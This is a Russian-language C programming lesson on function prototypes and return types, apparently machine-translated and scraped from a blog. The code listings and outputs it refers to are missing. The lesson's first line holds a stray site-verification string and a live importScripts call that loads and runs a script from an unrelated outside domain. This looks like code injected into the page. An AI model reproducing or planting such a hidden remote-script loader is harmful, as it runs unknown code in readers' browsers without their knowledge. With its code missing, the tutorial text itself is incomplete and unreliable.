google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Функции в программировании на C - часть 5

Я надеюсь, что до сих пор вы хорошо разбираетесь в основных понятиях функций. Если это не так, я бы посоветовал вам снова прочитать наши предыдущие уроки . В сегодняшнем уроке я познакомлю вас с первой дополнительной функцией функций.
В основном есть три продвинутых темы функций
1. Объявление функции и прототипы 
2.  Вызов по значению и вызов по ссылке
3.  Рекурсия
Сегодня я расскажу вам о самой первой теме «Объявление функций и прототипы». Я уже охватил половину этой темы в моих предыдущих уроках, но я дам вам обзор этого снова.

Объявление функций и прототипы

По умолчанию любая функция C возвращает целочисленное значение своей вызывающей функции. Даже если мы не указываем прототип для функции, считается, что она будет возвращать только целочисленное значение. Чтобы внести некоторые изменения в возвращаемое значение, мы должны сначала объявить его прототип. Давайте разберемся с одним простым примером.

Выход
Объявление функций и прототипы
Я выполнил вышеуказанную программу с двумя значениями. Сначала я ввел 2, и он дал мне правильный ответ 4 для этого. Но при следующем запуске, когда я ввел 1,5, он дал мне неправильный результат, ответив 2 в качестве ответа.
Можете ли вы сказать причину, почему это дает неправильные результаты для значения с плавающей запятой?
Как я уже говорил ранее, по умолчанию функция всегда возвращает целочисленное значение. В нашей программе мы не указали тип возвращаемого значения для функции squareval (). Таким образом, он возвращает целочисленное значение в функцию main ().
Чтобы исправить это, мы должны указать тип возвращаемого значения как float в прототипе функции squareval (). Правильная версия вышеуказанной программы приведена ниже.

Выход
Функции в программировании на C - часть 5
Checkout теперь дает правильные результаты и для значений с плавающей точкой. Над функцией main () я объявил функцию squareval () с возвращаемым типом float. После этого при определении функции sqaureval () я снова записал тип возвращаемого значения как float.
Таким образом, предоставляя прототип функции, мы можем возвращать значения в соответствии с желаемым типом данных.
Мы также можем объявить прототип функции с пользовательскими типами данных, такими как структура. Мы узнаем об этом в наших будущих уроках.

Комментариев нет:

Отправить комментарий